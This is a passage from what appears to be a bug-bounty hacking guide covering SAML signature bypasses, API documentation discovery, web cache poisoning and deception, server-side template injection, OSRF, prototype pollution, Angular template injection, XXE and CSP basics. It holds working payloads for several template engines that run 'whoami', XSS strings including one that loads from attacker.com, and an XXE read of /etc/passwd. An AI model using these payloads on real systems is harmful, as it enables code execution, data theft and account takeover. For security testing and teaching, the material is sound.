holds. Also notice in the above image there is a tag called “NameID” which holds the user's username. This information is sent to the service provider and if accepted it will log us in as that user. XML Signature Removal When a service provider receives a SAML assertion the endpoint is supposed to verify the information has not been tampered with or modified by checking the XML signature. On some systems it is possible to bypass this verification by removing the signature value or the entire signature tag from the assertion or message. One of the first things I try is to make the “SignatureValue” data blank so it looks like “ <ds:SignatureValue></SignatureValue> ”, in certain situations this is enough to completely break the signature check allowing you to modify the information in the assertion. Another attack is to completely remove the signature tags from the request. If your using the SAML Raider plugin in Burp you can do this by clicking the “Remove SIgnatures” button as shown below: Note you can also remove the signature by hand if you don't want to use the plugin. The end result will be a message or assertion tag without a signature. Notice how the above illustration is missing the signature section. A normal service provider would reject this message but in some cases it will still be accepted, if that's the case an attacker could modify the information in the “Subject” tags without the information being verified. This would allow an attacker to supply another user's email giving them full access to their account. XMLComment Injection An XML comment is the same as a comment in any other language, it is used by programmers to mention something in the code and they are ignored by compilers. In XML we can include comments anywhere in the document by using the following tag: ● <!--Your comment-- > An XML parser will typically ignore or remove these comments when parsing an XML document and that's where an attacker can strike. If we pass the username “ admin<!--Your comment-- > @gmail.com " the comment will be removed/ignored giving us the username “ [email protected] ”. We can see in the above image of a SAML response that I created a user which contains a comment in it. When it is passed to the service provider the comment will be stripped out giving the email “ [email protected] ”, we will then be logged in as that user. XML Signature Wrapping (XSW) The idea of XML Signature Wrapping (XSW) is to exploit the separation between SSO Verificator and SSO Processor. This is possible because XML documents containing XML Signatures are typically processed in two separate steps, once for the validation of the digital signature, and once for the application that uses the XML data. A typical application will first locate the signature and its reference uri, as mentioned earlier the reference uri is used to determine which document the signature verifies. The application will use the reference uri to find which XML element is signed and it will validate or invalidate it. Once the validation process is complete the application will locate the desired XML element and parse out the information it's looking for. Typically the validation and processing phase will use the same XML element but with signature wrapping this may not be the case, validation may be performed on one element but the processing phase happens on another element. If you're testing for this type of vulnerability I would recommend using the SAML Raider plugin for Burp as shown below: All you have to do is select the XSW attack, press the “Apply XSW” button, and send the response. If the endpoint returns successfully without erroring out then you can assume it is vulnerable to this type of attack. XSW Attack 1 This first attack is used on the signature of the SAML response. Basically we create a new SAML response with our malicious assertion then we wrap the original response in the new response. The idea here is that the validation process will happen on the original response but the processing phase will happen on our modified response. Notice how the original SAML response is embedded in the signature, this is called an enveloping signature. Also notice how the signature reference URI matches the embedded SAML response id. This will cause the verification process to succeed. However, when the application goes to parse the assertion it will use our evil assertion instead of the original one. XSW Attack 2 The second attack is the same as the first attack except instead of using an embedded signature it uses a detached signature as shown below. Note that the first and second attack are the only two attacks that target the signature of the SAML response, the rest of the attacks target the signature of the assertion. XSW Attack 3 This attack works by placing our malicious assertion above the original assertion so it's the first element in the SAML response. Here we are hoping after the validation steps complete the parsing process takes the first element in the SAML response. If it does it will grab our malicious assertion instead of the original one. XSW Attack 4 This attack is similar to XSW attack 3 except we embed the original assertion in our evil assertion as shown below: XSW Attack 5 In this attack we copy the original signature and embed it into our malicious assertion. However, the original signature still points to the original assertion as shown in the below illustration. XSW Attack 6 Here we embed the original assertion in the original signature then we embed all of that in the malicious assertion as shown below: XSW Attack 7 This method utilises the “Extensions” tag which is a less restrictive XML element. Here we place the malicious assertion with the same ID as the original assertion in a set of extensions tags. Notice how the malicious assertion and the original assertion have the same id. XSW Attack 8 Again we are making use of a less restrictive XML element called “Object”. First we create the malicious assertion and embed the original signature in it. Next we embed an object element in the signature and finally we place the original assertion in the object element. Notice how the malicious assertion and the original assertion have the same id. API Documentation Introduction The vast majority of vulnerabilities I find in APIs are the result of a design flaw. If you have access to the API documentation these can be fairly easy to locate. For example, suppose there is a password reset endpoint which takes a user id and a new password as its input. Right now you might be thinking I should check for IDOR to see if I can reset other users passwords and that would be correct. These types of design flaws can be relatively easy to spot when you have the API documentation that lists all the available endpoints and their parameters. The other option is to manually inspect your traffic to find this endpoint but having the API documentation makes it a lot easier. Swagger API Swagger is a very popular API documentation language for describing RESTful APIs expressed using JSON. If I see an application using a REST API i'll typically start looking for swagger endpoints as shown below: ● /api ● /swagger/index.html ● /swagger/v1/swagger.json ● /swagger-ui.html ● /swagger-resources As shown above swagger documentation gives you the name,path,and arguments of every possible api call. When testing api functionality this is a gold mine. Clicking on a request will expand it and you can perform all of your testing right there as shown below: Seeing the image above I imminently think to test for insecure redirect due to the redirect parameter being present. Typically when looking at the documentation I look for design flaws, authentication issues, and the OWASP top 10. I have personally found hidden passwords resets that are easily bypassable, hidden admin functionality that allows you to control the entire site unauthenticated, sql injection, and much more. XSS Swagger is a popular tool so it’s bound to have some known exploits. I have personally found reflected XSS on several swagger endpoints while testing. A while back someone found this XSS flaw on the url parameter as shown below: ● http://your-swagger-url/?url=%3Cscript%3Ealert(atob(%22SGVyZSBpcyB0aGUgWFNT %22))%3C/script%3 ● https://github.com/swagger-api/swagger-ui/issues/1262 You can also get persistent XSS if you give it a malicious file to parse as shown below: ● http://your-swagger-url/?url=https://attacker.com/xsstest.json ● https://github.com/swagger-api/swagger-ui/issues/3847 If you happen to stumble across some swagger documentation it’s probably a good idea to check for these two XSS vulnerabilities. Postman According to Google “Postman is a popular API client that makes it easy for developers to create, share, test and document APIs. This is done by allowing users to create and save simple and complex HTTP/s requests, as well as read their responses”. Basically Postman is a tool that can be used to read and write API documentation. ● https://www.postman.com/downloads/ What's nice about Postman is that you can import API documentation from multiple sources. For example earlier we talked about Swagger APIs and we used the official swagger api website to load the documentation. However, we could have used Postman for this instead, all you have to do is load the Swagger json file and you're good to go. Once you have the API docs imported to Postman you're good to go. The next step is to review each API endpoint and test it for vulnerabilities. WSDL According to Google “The Web Service Description Language (WSDL) is an XML vocabulary used to describe SOAP-based web services”. In other words the WSDL file is used to describe the endpoints of a SOAP API. As shown above WSDL files are fairly easy to spot, just look for an XML file that contains a “wsdl” tag. When hunting these will typically look like the following urls: ● example.com/?wsdl ● example.com/file.wsdl As shown above we can then import this file into the “soupUI” tool. ● https://www.soapui.org/downloads/soapui/ This tool can be used to create templates of the requests which can then be sent to the target server. All you have to do is fill in your values and hit send. WADL According to Google “The Web Application Description Language (WADL) is a machine-readable XML description of HTTP-based web services”. You can think of WADL as the REST equivalent of WSDL. WADL is typically used for REST APIs while WSDL is typically used on SOAP endpoints. WADL files should look similar to the image above. When hunting be on the lookout for an XML document ending with “wadl” as shown below: ● example.com/file.wadl Once you have the targets WADL file you can import it using postman as shown above. The next step is to review the API documentation so you can better understand the application. This will help you identify vulnerabilities later down the road. Summary API documentation is one of the best resources to have when probing an API for vulnerabilities. If I'm testing an API endpoint I'll typically startout by looking for the corresponding API docs. This will help you get an understanding of the API and all the functionalities it contains. Once you understand the application you can start to find design flaws and other bugs fairly easily. Conclusion If you come across an API endpoint the first step is to figure out what type of API it is. Your testing methodology will change slightly depending on if it's a REST,RPC, SOAP, or GraphQL API. Note that APIs share the same vulnerabilities as every other web application so make sure you’re looking for SQL injection,XSS, and all the other OWASP vulnerabilities. You also want to keep an eye out for the API documentation as this can be very useful to an attacker. Attackers can use the API docs to find design flaws,hidden endpoints, and get a better understanding of the application. In addition you also want to pay attention to the authentication process, depending on the technology there could be several attack avenues here as well Caching Servers Web Cache Poisoning Introduction Web cache poisoning is a technique attackers use to force caching servers to server malicious requests. Most commonly this attack is chained with self xss which turns a low impact xss finding into a high impact one since it can be served to any user who visits the cached page. Basic Caching Servers To understand web cache poisoning you must first understand how caching servers work. In simple terms cach servers work by saving a users request then serving that saved request to other users when they call the same endpoint. This is used to prevent the same resource from getting called over and over and forcing the server to perform the same work over and over. Instead the server only gets called if the response is not found in the caching server, so if the endpoint “test.com/cat.php” is called 100 times the server will answer the first request and save the response to the caching server. The other 99 requests will be answered by the caching server using the saved response from the first request. As shown above “user 1” makes a request to the “example.com/kop?somthing=ok” and the response is not found in the caching server so it is forwarded to the web server which answers the response. Next users 2 and 3 make the same request but this time the response is found in the caching server so the web server is not contacted. The old response is shown instead. How exactly does the caching server determine if two requests are identical? The answer is cache keys. A cache key is an index entry that uniquely identifies an object in a cache. You can customize cache keys by specifying whether to use a query string (or portions of it) in an incoming request to differentiate objects in a cache. Typically only the request method, path, and host are used as cache keys but others can be used as well. If we look at the above request the cache keys would be: ● GET /embed/v4.js?_=1605995211298 ● Play.vidyard.com Everything else would be discarded when determining if two requests are the same unless stated otherwise. As shown above in the HTTP response the “Vary” header says that the X-ThumbnailAB, X-China, accept-language, and Accept-Encoding headers are also used as cache keys. These values are important to note, for example if the user-agent is also used as a cache key a new cache would need to be created for every unique user agent header. Web Cache Poisoning If an attacker can somehow inject malicious content into a http response that is cached the same response will be served to other users who request the same endpoint. The name web cache poisoning may sound scary and hard but it's actually relatively easy to find and exploit. The first step is to find unkeyed input. As mentioned earlier cache keys are used by the caching server to determine which requests are the same and which are different. We need to find keys that don't cause the server to think the request is different. Hince the name “unkeyed” because it's not keyed by the caching server therefore it won't be used to determine if a request is unique or not. The second step is to determine the impact the unkeyed input has on the server, can it be used to exploit an open redirect vulnerability, self xss, or some other vulnerability. Finally, you need to figure out if the page is cacheable using the unkeyed input, if it is you should be able to exploit other users when they view the cached page. I mentioned that the first thing you want to do is find unkeyed input. This can be accomplished in Burp using the “param miner” plugin. Once this plugin is downloaded you can easily initiate a scan by right clicking a request and choosing param miner. Next the attack config will be displayed. You can change the settings around here but I typically just hit ok. Note you can also use the guess headers button if you're only interested in unkey values in the header or you can hit guess GET parameters if you're interested in GET parameters. After hitting “ok” the attack will start and you can view your results under the extender tab as shown below: As shown above the “X-forward-scheme” header was found and it isn't used as a key by the caching server. This header is also vulnerable to self XSS. Under normal conditions we would only be able to exploit ourselves but if the self xss payload is cached by the application other users will be able to view the cached page if it's public. Looking at the HTTP response we can see several headers are returned which are indicators of the page being cached. The “X-Cache” header is set to “hit” which means the page was served from cache. If it was set to “miss” the page isn't served from cache. The “Age” header is also another indicator this page is cached. This value contains the seconds the page has been cached for. Obviously we need the self xss payload to be cached so trying to execute it on an endpoint that is already cached wont work. However, as mentioned earlier the path is normally used when determining if a page has been cached or not, so adding a random GET parameter to the request should cause the response to be cached. As you can see above changing the GET parameter “test” to “2” causes the response to be cached by the server. This conclusion came from the fact that the “X-cache” header is set to “miss” and the “Age” header is set to 0. We now know we can cause the response to be cached by incrementing the test parameter. Now add the self xss payload to the vulnerable “X-forward-scheme” header and increment the test parameter one more time. Finally, hit send and the self xss payload will be cached by the server. Any one who views the endpoint will cause the xss payload to trigger effectively turning self xss into stored xss. Summary Web cache poisoning is a relatively new vulnerability and might sound confusing to some people but it's fairly easy to exploit. Find an unkeyed value using the param miner plugin, see if you can exploit the unkeyed value in some way(self xss), see if you can make the server cache the malicious http response, finally test to see if your exploit worked. Normally people dismiss self xss vulnerabilities but with web cache poisoning you can turn self XSS into stored XSS. Web Cache Deception Introduction Like web cache poisoning web cache deception is an attacker against the caching server. With this attack we trick the caching server into caching sensitive information of other users. In certain scenarios the exposed information can be used to take over a users account. We talked about caching servers in the web cache poisoning section so if you haven't read that I would recommend doing so you know how caching servers work. Web Cache Deception Web cache deception works by sending the victim a URL which will cache the response for everyone to see. This exploit is only possible due to path confusion and the fact that some caching servers will cache any request containing a static file such as a png, jpeg, and css. First let's explore when a caching server decides to cache a response and when it doesn't. Caching is very useful but sometimes you don't want to have a page cached. For example, suppose you have the endpoint “setting.php” which returns a user's name,email,address, and phone number. There could be numerous users access setting.php and each response will be different as the response relies on the user currently logged in so it wouldn't make sense to have caching on this page. Also for security reasons you probably don’t want your application caching pages with sensitive information on them. As you can see in the above image on line 15 there is a header called “cache-control” which is set to “no-cache”. This tells the caching server to not cache this page. However, sometimes the caching server will make the executive decision to cache a page anyway. This normally occurs when the caching server is configured to cache any page ending with a specific extension (css,jpg,png,ect). The caching server will cache all static pages no matter what the response headers say. So if we were to request “example.com/nonexistent.css” the caching server would cache this response regardless of the response headers because it is configured to do so. Next let's look at path confusion. Path confusion occurs when an application loads the same resources no matter what the path is. With the rise of large web applications and complicated routing tables path confusion has been introduced. As you can see above there is a catch all path on the root directory. This means that any path after “/” will essentially be passed to the same function giving the same results. Both the “example.com” and “example.com/something'' URL would be sent to the same catch_all function. We are just printing the path but in the real world the application would perform some task and return the HTML response. The above image is from the white paper “Cached and Confused: Web Cache Deception in the Wild” and describes several techniques used to cause path confusion. The first technique “path parameter” occurs when additional paths added to the request are passed to the same backend function. So “example.com/account.php” is the same as “example.com/account.php/nonexistent.css” in the eyes of the application. However, the caching server sees “example.com/account.php/nonexistent.css”. The second technique “encoded newline” tries to take advantage of the fact that some proxies and web servers stop reading after the new line character but the caching server does not. So the webserver sees “example.com/account.php” but the caching server sitting in front of the website sees “example.com/account.php%0Anonexistent.css” so it caches the response because they are different. The third technique “encoded semicolon” takes advantage of the fact that some web servers treat semicolons(;) as parameters. However, the caching server may not recognize this value and treat the request as a separate resource. The website sees “example.com/account.php” with the parameter “nonexistent.css” but the caching server only sees “example.com/account.php%3Bnonexistent.css”. The fourth technique “encoded pound” takes advantage of the fact that web servers often process the pound character as an HTML fragment identifier and stop parsing the URL after that. However, the caching server may not recognize this so it sees “example.com/account.php%23nonexistent.css” while the server sees “example.com/account.php”. The last technique “encoded question mark” takes advantage of the fact that web servers treat question marks(?) as parameters but the caching server treats the response different. So the caching server sees “example.com/account.php%3fname=valnonexistent.css” but the web server sees “example.com/account.php”. As you can tell these attacks are about the web server interpreting a request one way while the caching server interprets it a different way. If we can get the application to interpret two different urls the same way while getting the caching server to interpret it differently while caching the page there is a possibility of web cache deception. Now let's get our hands dirty with a live application. As shown below when visiting the “/users/me” path the application presents us with a bunch of PII information such as my email,name, and phone number. To test for web cache deception try one of the several path confusing payloads as shown below: ● example.com/nonexistent.css ● example.com/%0Anonexistent.css ● example.com/%3Bnonexistent.css ● example.com/%23nonexistent.css ● example.com/%3fname=valnonexistent.css As you can see, appending “nonexistent.css” to the URL did not have any impact on the response as we see the same response as if we hit the path “/user/me”. The server also responds with a header telling the caching server not to cache the page. However, the caching server is set up to cache all CSS pages so the page does in fact get cached. Now any one who views that url will see the target users information resulting in the leakage of sensitive PII information. Summary Web cache deception is a fairly new technique and it's really easy to exploit. All you have to do is trick the caching server into caching a page that has sensitive information on it. If exploited in the wild attackers could target users potentially stealing PII information or in the worse scenario their entire account. First you want to find a page exposing sensitive information, check for path confusion, see if the response is cached, and finally check to see if the cached response is public. More OWASP Introduction We discussed some basic OWASP vulnerabilities towards the beginning of the book but that didn't even scratch the surface. As I stated earlier the vast majority of your targets external facing assets are going to be web applications. So it would be wise if you learn everything there is to know about web application testing as you will be doing it alot. That being said lets add a few more web application vulnerabilities to your arsenal of techniques. Server Side Template Injection (SSTI) Introduction To understand server side template injection you must understand templates and to understand templates you must understand the model–view–controller design pattern. Model-view-controller is a software designed pattern primarily used for developing user interfaces. As you can see above a user initiates a request to the controller. The controller then uses the model to gather information from the back end database, this information is then passed back to the controller. Next the controller passes the information to the view where it uses the data to update values in the view. The updated view is passed back to the controller where it is then sent to the user and rendered in the browser. The view is used to manipulate the HTML code and is normally implemented using templates. Templates allow you to have place holders in your HTML code where you can pass in variables as shown below: As you can see on the 4th line there is a title tag holding the expression “{{Title}}”. This string will be replaced by whatever argument is passed to the template engine. This allows developers to easily reuse their code. A template engine enables you to use static template files in your application. At runtime, the template engine replaces variables in a template file with actual values, and transforms the template into an HTML file sent to the client. You may be thinking why use a template engine to modify an HTML document when a simple format string operator would work. The reason is that template engines are much more powerful than a simple format string operator. Template engines can do all kinds of things such as calling functions and methods, looping over variables, arithmetic, and much more. As you will find out in the following section hackers can abuse templates engines to do all kinds of nasty things. Server side template injection can be used for XSS, sensitive information disclosures, and even code execution. Python - Jinja 2 Jinja 2 is a template engine in python and is often used in Flask and Django applications. An example of a vulnerable flask application can be found in the below image: When testing for server side template injection(SSTI) in a Jinja 2 application I usually try the following payloads: ● {{7*7}} ○ 49 ● {{7*’7’}} ○ 7777777 In the above image we see the number “7777777” displayed so you can assume the application is vulnerable and is using the Jinja 2 or tornado template engine. To fully understand how to exploit this vulnerability you first need to understand Method Resolution Order (MRO). MRO is the order in which Python looks for a method in a hierarchy of classes and you can use the MRO function to list these classes. ● ‘’.__class.__mro__ So, here it will first search the string class for a method and if it's not there it will search the root object class. For this attack we only care about the root object class as we can use this to get a handle to all other classes used by the application. To get the root object go to the second index in the array as shown below: ● ‘’.__class.__mro__[1] Note you can also use the __base__ method on an empty array to get this object as shown in the below command: ● [].__class__.__base__ The __subclasses__() method can be used to list all the subclasses of a class. With this we can get a handle to every class the application uses. Depending on the results you could have the ability to execute terminal commands, read files, and much more. ● {{[].__class__.__mro__[1].__subclasses__()}} As you can see above all subclasses of the root object have been displayed. Next you want to look for something interesting. We have access to the ‘subprocess.Popen’ class, an attacker could leverage this class to execute commands on the server as shown below: ● {{[].__class__.__mro__[1].__subclasses__()[-3]('whoami',shell=True,stdout=-1).co mmunicate()[0] }} If you are familiar with python and know the popen method then you can tell that there is nothing special going on here, we are using legit functionalities of python to execute a system command. Note you can also use the following command for code execution if the command above doesn't work: ● {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}} If you find server side template injection in the Jinja 2 template engine the severity of your finding depends on what python classes you have access to. If you don’t have access to any system command classes then code execution might be impossible(not always). If you have access to the file class you might be able to read/write files to the system. Make sure to properly enumerate all the classes the root object has access to so you can figure out what you can and can't do. Python - Tornado According to Google Tornado is a scalable, non-blocking web server and web application framework written in Python. Tornado also has its own template engine which like many others is vulnerable to server side template injection if implemented incorrectly as shown below: Exploiting SSTI in the tornado template engine is relatively easy compared to other engines. Looking at the tornado template engine documentation it mentions that you can import python libraries as shown below: Any library available to python is also available to the template engine.This means that you can import a python library and call it. This functionality can be abused to make system commands as shown below: ● {% import os %}{{ os.popen("whoami").read() }} ● {% import subprocess %}{{subprocess.Popen('whoami',shell=True,stdout=-1).communicate()[0]}} As you can see above the ‘whoami’ command was run on the server and the output was displayed on the screen. We are not limited to just executing shell commands, since we can import any library python we can do anything we want. Ruby- ERB ERB is an Eruby templating engine used to embed ruby code. According to Google “An ERB template looks like a plain-text document interspersed with tags containing Ruby code. When evaluated, this tagged code can modify text in the template”. An example of a vulnerable template can be found in the below image: Note that ERB uses the following tags for embedding code: ● <% code %> ● <%= code %> The first example “<%code%>” is used to execute ruby code and the second example “<%= code %>” is used to execute ruby code and return the results. To test for for server side template injection in this engine use the following command: ● <%= 7 * 7 %> As you can see above the code was executed and it returned the value of “49”. This is a strong indicator that the server is vulnerable to server side template injection. To test for code execution simply run your ruby code as shown below: ● <%= `whoami` %> ● <%= IO.popen('whoami').readlines() %> ● <% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> ● <% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%> As you can see above the “whoami” command ran and the results were outputted to the screen. Ruby - Slim According to Google “Slim is a fast, lightweight templating engine with support for Rails 3 and later”. Like many other template engines when improperly implemented SSTI can arise. An example of a vulnerable template can be found in the below image: In terms of exploiting SSTI the slim template engine is very similar to ERB except for the syntax as shown below: ● #{code} To execute a shell command just wrap your command in backticks as shown below: ● #{ `whoami` } Again just like the ERB template engine you can execute any ruby command you want. Java - Freemarker Freemarker is the most popular template engine for java so it's a good idea to learn how to exploit it. Example vulnerable code can be found in the below image: As you can see above this vulnerability stems from concatenating user supplied input with a template just like every other template engine. To test for SSTI vulnerability use the following payload: ● ${7*7} Similar to other template engines to exploit this vulnerability we are going to use an object to execute shell commands. The new() command can be used to instantiate classes so all we need is a class that can execute shell commands. As shown above the Execute class can be used to execute shell commands. The documentation even mentions that this class can be used to run arbitrary code on your server. To use this class we can run the following command: ● <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("whoami")} ● [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('whoami')} ● ${"freemarker.template.utility.Execute"?new()("whoami")} As you can see above the command “whoami” ran and the output was displayed in the browser. From here it would be trivial to run a command to execute your backdoor or anything else you want. Summary On-site Request Forgery (OSRF) Introduction On site request forgery is a fairly old vulnerability that most people don’t know about. Similar to cross site request forgery(CSRF) with OSRF an attacker can force a users web browser to make requests on the attackers behalf. The only difference is that the request is initiated from the target application whereas CSRF is initiated from an attacker controlled site. OSRF When looking at OSRF it can feel very similar to XSS. This is because the root cause of this vulnerability is using user supplied input to make HTTP requests. An example vulnerable application can be found below: The whole goal of this vulnerable application is to force the user to send a request to the “/admin/add” endpoint. Doing so will cause the application to add an admin user which the attacker could use to login to the victims application. If you see XSS on line 8 you're absolutely correct but for the purpose of the exercise let's assume that the user's input is sanitized and we can't break out of the single quotes. In that scenario XSS wouldn't work but OSRF will. Remember the goal is to make the user browser send a request to “127.0.0.1/admin/add?username=ghost&password=lulz”. This would create a new admin user called “ghost” with the password of “lulz”. Take a closer look at the “/” endpoint and how the “vuln_param” is used to create the src attribute of the image tag. What if an attacker were to input “../../”? As you can see above it caused the application to send a GET request to the path“/” instead of “/images”. This is because the “../” characters tell the server to go back one directory, if you're familiar with linux you probably already know this. The above request is a little better, if you look at the bottom right of the image you can see the browser make a request to “/admin/add.jpg”. If we add the username and password parameters we should be able to add an admin account as shown below: Note when sending multiple parameters we must URL encode the “&” character otherwise the browser will think it belongs to the first request not the second. Also notice how the password is “lulz.jpg” and not “lulz”. This is because “.jpg” is appended to the string at the end to get rid of these characters in our password we can just add a dummy parameter as shown below: ● http://127.0.0.1:5000/?vuln_param=../../admin/add?username=ghost%26password=lulz %26dummy_param= Finally we are able to make a request to the “/admin/add” endpoint causing the application to add a new user called “ghost” with the password of “lulz”. Note that since this is coming from the users browser it will contain all the users authentication cookies, applications origin header, and more depending on how the request is sent. Summary If you're able to control part of the URL used to make an HTTP request you probably have OSRF. To confirm, try injecting the “../” characters which will cause the request to go up one directory, if this is possible you definitely have OSRF you just need to find an interesting endpoint to call. This is a fairly old bug that most people don’t know exists and on top of that it's really easy to implement this vulnerability in your application. That stacked with the fact that it's easy to exploit makes this vulnerability fairly dangerous. Prototype Pollution Introduction Javascript is a prototype based language. Prototypes are the mechanism by which JavaScript objects inherit features from one another. This means that if the prototype object is modified in one object it will apply to every other object as shown in the below example: As you can see above we have two variables called “a” and “b”. We modify the prototype object in variable “a” by adding a variable called “foo” and giving it the value of “bar”. You might think that this would have no effect on variable “b” but it does. The modified prototype object is inherited by variable “b”, so when we call the “foo” variable on “b” it prints “bar”. Prototype Pollution As stated earlier javascript is a prototype based language, this means that if we modify the prototype object it will persist to all other objects. Take a look at the following code, the goal here is to set the “admin” variable to true: As shown above we are merging user supplied data with the user object. Next it will create a variable called admin and it will check if “admin.admin” is set to true. If it is, we win. Under normal circumstances this would be impossible as we never get the change to modify this variable but with prototype pollution we can. During the merge process if it comes across a prototype object it will add that to the user object. Since the prototype object is inherited by all other objects we can potentially modify other variables as shown in the below curl request. In the above image we are sending a prototype object with a variable called “admin” which is set to “true”. When the line checks to see if admin.admin is set to true it will pass because the admin object inherited the admin variable from the prototype object which we modified. Summary Prototype pollution can be thought of as a type of object injection. The prototype object is inherited by all objects so if we can modify it in one place it will be inherited by everything else. This can be used to overwrite functions, variables, and anything else. Although this is a lesser known vulnerability it is just as deadly as anything else. In the past this has led to XSS, DOS attacks, and RCE so there is no limit to what you can potentially do with this. Client Side Template Injection (CSTI) Introduction Front end development has rapidly changed over the past decade. Most modern day web applications are built using javascript frameworks like AngularJS, React, Vue, and more. According to google “AngularJS is a JavaScript-based open-source front-end web framework mainly maintained by Google and by a community of individuals and corporations to address many of the challenges encountered in developing single-page applications”. Most people think these frameworks are immune to vulnerabilities like XSS but that is not the case, it's just a little different to exploit. Angular Basics There are a few things you need to understand when dealing with Angular applications. I will briefly go over a few topics such as templates, expressions, and scopes which is vital for understanding client side template injection in Angular. When you are looking at an Angular application in your browser you're actually looking at a template. A template is an HTML snippet that tells Angular how to render the component in Angular application. The main advantage of templates is that you can pass in data allowing you to dynamically generate HTML code based on the arguments passed to it. An example template can be found below: ● <h1>Welcome {{Username}}!</h1> As you can see the following template creates an “h1” tag which welcomes the current user. The “{{Username}}” is an expression and changes based on your username. If my username is “ghostlulz” then the application would display “Welcome ghostlulz!”. This allows Angular to dynamically generate HTML pages instead of using static pages as shown below: ● <h1> Welcome ghostlulz!</h1> Expressions are Javascript like code snippets . Like Javascript expressions Angular expressions can contain literals, operators, and variables as shown below: ● 1+1 ● A+b ● User.name ● Items[index] Unlike Javascript expressions which are evaluated against the global window, Angular expressions are evaluated against the Scope object. Basically what this means is if you try to evaluate “alert(1)” it will fail because the scope does not have an “alert” function (unless you define one). The scope is just an object and you can define variables and functions in it as shown below: $scope.username = "Ghostlulz"; $scope.greetings = function() { return 'Welcome ' + $scope.username + '!'; }; Client Side Template Injection (XSS) According to Google “Client-side template injection vulnerabilities arise when applications using a client-side template framework dynamically embed user input in web pages”. As you know Angular is a client side template framework and you can embed user input into these templates. This makes Angular the perfect target for this type of vulnerability. If you don’t know better and you’r testing for XSS on an Angular site you might try something like this: Ass you can see I didn’t get an alert box and that's because the server is encoding our input before passing it to the template as shown below. This is a very popular method of preventing XSS and is sufficient enough for most applications but Angular is different. In Angular we can use expressions which does not have to use special characters which get encoded by the “htmlspecialchars” PHP function as shown below: As you can see above I am using the expression “{{1+1}}” which gets evaluated to “2”. This is a very strong indicator that the application is vulnerable to client side template injection. Forcing an application to add two numbers together isn’t all that exciting, but what if we could inject javascript code. We know we can't simply insert an “alert(1)” function because that function is not defined in the scope object. Behind the scenes “alert(1)” turns into “$scope.alert(1)”. By default the scope object contains another object called “constructor” which contains a function also called “constructor“. This function can be used to dynamically generate and execute code. This is exactly what we need to execute our XSS payload as shown below: ● {{constructor.constructor('alert(1)')()}} As you can see above our malicious Angular expression was injected into the page causing the application to dynamically generate and execute our payload. To help prevent this type of attack Angular 1.2 – 1.5 contains a sandbox. This was later removed in version 1.6 and above as it provided no real security as there were numerous sandbox bypasses. If the application your testing is between versions 1.2 – 1.5 you will need to look up the sandbox bypass for that version to get your XSS payload to execute. Summary With new technologies comes new vulnerabilities. Any client side template framework that accepts user input can be vulnerable to client side template injection. This vulnerability is mostly used to trigger XSS payloads. Since angular uses expressions we can often bypass traditional XSS preventions such as encoding the user's input. Most developers rely heavily on this prevention method which works fine in most applications just not ones that make use of client side templates and expressions. XML External Entity (XXE) Introduction XML External Entity(XXE) is a vulnerability that can appear when an application parses XML. Before diving into what XXE is you need to have a solid understanding of XML first. XXE Basics Extensible Markup Language(XML) is a language designed to store and transport data similar to JSON. A sample of what XML looks like can be found below: <?xml version="1.0" encoding="UTF-8"?> <bookstore> <book category="cooking"> <title lang="en">Everyday Italian</title> <author>Giada De Laurentiis</author> <year>2005</year> <price>30.00</price> </book> <book category="children"> <title lang="en">Harry Potter</title> <author>J K. Rowling</author> <year>2005</year> <price>29.99</price> </book> </bookstore> On the first line you can see the prolog which contains the XML version and encoding. Pro tip if you ever see this in burp you should immediately test for XXE: ● <?xml version="1.0" encoding="UTF-8"?> Under that you see the “<bookstore>” tag which represents the root node. There are two child nodes called “<book>” and each of these contain subchild nodes called “<title>,<author>,<year>,<price>”. <root> <child> <subchild>.....</subchild> </child> </root> That's the basic structure of XML but there is a little more you should know. There is something called document type definition (DTD) which defines the structure and the legal elements and attributes of an XML document as shown below: <?xml version="1.0"?> <!DOCTYPE note [ <!ENTITY user "Ghostlulz"> <!ENTITY message "got em"> ]> <test><name>&user;</name></test> As shown above there is something called an ENTITY. This acts as a variable. In this example the entity “user” holds the text “Ghostlulz”. This entity can be called by typing “&user;” and it will be replaced by the text “Ghostlulz”. You can also use something called an external entity which will load its data from an external source. This can be used to get contents from a url or a file on disk as shown below: <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://example.com" > ]> <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]> XML External Entity(XXE) Attack I mentioned that you can use external entities to grab data from a file on disk and store it in a variable. What if we tried to read data from the “/etc/passwd” file and store it in a variable? Note that in order to read the data the entity must be returned in the response. Knowing that lets try to exploit our test environment. While in burp I captured the following POST request which seems to be using XML to send data to the back end system. Whenever you see XML you should test for XXE. To test for XXE simply put in your malicious external entity and replace each node value with it as shown below: As shown above I created an external entity to grab the data in the /etc/passwd file and stored it in the entity xxe. I then placed the variable in the <productID> node. If the server does not block external entities the response will be reflected to you. You will then be able to retrieve the contents of the /etc/passwd file as shown above. Summary Most applications transmit data using JSON but you may run into applications using XML. When you do make sure to always test for XXE. Abusing this vulnerability allows you to read arbitrary files which can lead to fully compromising a machine. CSP Bypass Introduction The content security policy (CSP) is a special HTTP header used to mitigate certain types of attacks such as cross site scripting (XSS). Some engineers think the CSP is a magic bullet against vulnerabilities like XSS but if set up improperly you could introduce misconfigurations which could allow attackers to completely bypass the CSP. Content Security Policy (CSP) Basics The CSP header is fairly straightforward and there are only a few things you need to understand. First, the CSP header value is made up of directives separated with a semicolon “;” . You can think of these directives as policies which are applied to your site. A list of these directives can be found below, note these are not all of them but the most popular ones: ● Default-src ○ This acts as a catchall for everything else. ● Script-src ○ Describes where we can load javascript files from ● Style-src ○ Describes where we can load stylesheets from ● Img-src ○ Describes where we can load images from ● Connect-src ○ Applies to AJAX and Websockets ● Font-src ○ Describes where we can load fonts from ● Object-src ○ Describes where we can load objects from (<embed>) ● Media-src ○ Describes where we can load audio and video files from ● frame-ancestors ○ Describes which sites can load this site in an iframe These directives are set to specific values which defines which resources can be loaded and from where. This source list can be found below: ● * ○ Load resources from anywhere ● ‘none’ ○ Block everything ● ‘Self’ ○ Can only load resources from same origin ● Data: ○ Can only load resources from data schema (Base64) ● Something.example.com ○ Can only load resources from specified domain ● Https: ○ Can only load resources over HTTPS ● ‘Unsafe-inline’ ○ Allows inline elements (onclick,<script></script> tags, javascript:,) ● 